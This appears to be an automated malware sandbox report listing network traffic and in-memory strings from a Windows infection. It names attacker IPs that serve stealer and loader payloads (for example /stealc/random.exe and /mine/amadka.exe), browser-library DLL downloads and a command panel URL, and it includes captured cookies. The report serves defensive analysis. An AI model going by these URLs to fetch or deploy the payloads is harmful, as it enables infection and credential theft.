Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 13_2_0064BD30 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

13_2_0064BD30

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ApAseul1TrG86vn&MD=OmoaKWyK HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ApAseul1TrG86vn&MD=OmoaKWyK HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=-822503288&timestamp=1720124479360 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=515=KYs2VZNA6HLpoa7_atkwavQNpoWqrMAC_SUzgHPZknZkOPrRvQCnSXBskoHaB_UM9uav3mHKwddn9nQQskf8IAFmE1vUpph0iqJMyEgCz07QJEmNJ4Fk40QarFAML8hUc6aiv_46aa_wA0oGbfLyoEyjPBGjm3QErkm3RlUm5ao
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 77.91.77.81

Source: 06f6d9547f.exe, 0000000F.00000003.3012974820.000000000151D000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012164343.000000000151C000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3011183886.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: chromecache_132.17.dr	String found in binary or memory: _.$w(p);break;case "PuZJUb":a+="https://www.youtube.com/t/terms?chromeless=1&hl="+_.$w(m);break;case "fxTQxb":a+="https://youtube.com/t/terms?gl="+_.$w(_.ix(c))+"&hl="+_.$w(d)+"&override_hl=1"+(f?"&linkless=1":"");break;case "prAmvd":a+="https://www.google.com/intl/"+_.$w(m)+"/chromebook/termsofservice.html?languageCode="+_.$w(d)+"&regionCode="+_.$w(c);break;case "NfnTze":a+="https://policies.google.com/privacy/google-partners"+(f?"/embedded":"")+"?hl="+_.$w(d)+"&gl="+_.$w(c)+(g?"&color_scheme="+ equals www.youtube.com (Youtube)
Source: 06f6d9547f.exe, 0000000F.00000003.3007411160.0000000003D39000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3007121727.0000000003D00000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3007248927.0000000003D1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: 06f6d9547f.exe, 0000000F.00000002.3014345363.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012408886.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountF"y^< equals www.youtube.com (Youtube)
Source: 06f6d9547f.exe, 0000000F.00000002.3014345363.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012408886.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountK%DYW equals www.youtube.com (Youtube)
Source: 06f6d9547f.exe, 0000000F.00000002.3014345363.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012408886.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accounts$ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: accounts.youtube.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900D492X-BM-CBT: 1696428841X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900D492X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticshX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2484Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1720124382023&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF

Source: file.exe, 00000000.00000002.2449562218.00000000007F8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe
Source: file.exe, 00000000.00000002.2449562218.00000000007F8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe00
Source: file.exe, 00000000.00000002.2449562218.00000000007F8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exepData
Source: file.exe, 00000000.00000002.2449562218.00000000007F8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe
Source: file.exe, 00000000.00000002.2449562218.00000000007F8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe-Disposition:
Source: file.exe, 00000000.00000002.2449562218.00000000007F8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe00
Source: file.exe, 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exeT
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe-
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe506
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe50673
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/well/random.exe
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/well/random.exeL
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/well/random.exen
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/0
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000D.00000002.3241803333.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php$
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php(
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/QLIa
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php2
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpF
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpU
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpV06f6d9547f.exe
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpfLI
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpiLqa8
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phplF~nj
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpuLma6
Source: explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/ot%
Source: file.exe, 00000000.00000002.2450878675.0000000001ACE000.00000004.00000020.00020000.00000000.sdmp, 0244247334.exe, 0000000E.00000002.3055852446.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30
Source: 0244247334.exe, 0000000E.00000002.3055852446.000000000192C000.00000004.00000020.00020000.00000000.sdmp, 0244247334.exe, 0000000E.00000002.3055852446.000000000191B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/
Source: file.exe, 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/freebl3.dll
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/mozglue.dll
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/mozglue.dllX
Source: file.exe, 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/mozglue.dlll
Source: file.exe, 00000000.00000002.2450878675.0000000001B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/msvcp140.dll
Source: file.exe, 00000000.00000002.2450878675.0000000001B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/msvcp140.dllX
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/nss3.dll
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/nss3.dllll
Source: file.exe, 00000000.00000002.2450878675.0000000001B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/softokn3.dll
Source: file.exe, 00000000.00000002.2450878675.0000000001B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/softokn3.dllx
Source: file.exe, 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/sqlite3.dll
Source: file.exe, 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/vcruntime140.dll
Source: 0244247334.exe, 0000000E.00000002.3055852446.000000000192C000.00000004.00000020.00020000.00000000.sdmp, 0244247334.exe, 0000000E.00000002.3055852446.00000000018F5000.00000004.00000020.00020000.00000000.sdmp, 0244247334.exe, 0000000E.00000002.3055852446.000000000191B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/920475a59bac849d.php
Source: 0244247334.exe, 0000000E.00000002.3055852446.00000000018F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/920475a59bac849d.php06001
Source: file.exe, 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/920475a59bac849d.phpd
Source: 0244247334.exe, 0000000E.00000002.3055852446.000000000191B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/ia
Source: 0244247334.exe, 0000000E.00000002.3055852446.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30I
Source: file.exe, 00000000.00000002.2450878675.0000000001ACE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30N?
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, 0244247334.exe.13.dr, random[1].exe.13.dr	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: file.exe, 0244247334.exe.13.dr, random[1].exe.13.dr	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: file.exe, 0244247334.exe.13.dr, random[1].exe.13.dr	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2467277602.000000001D3AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482080976.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
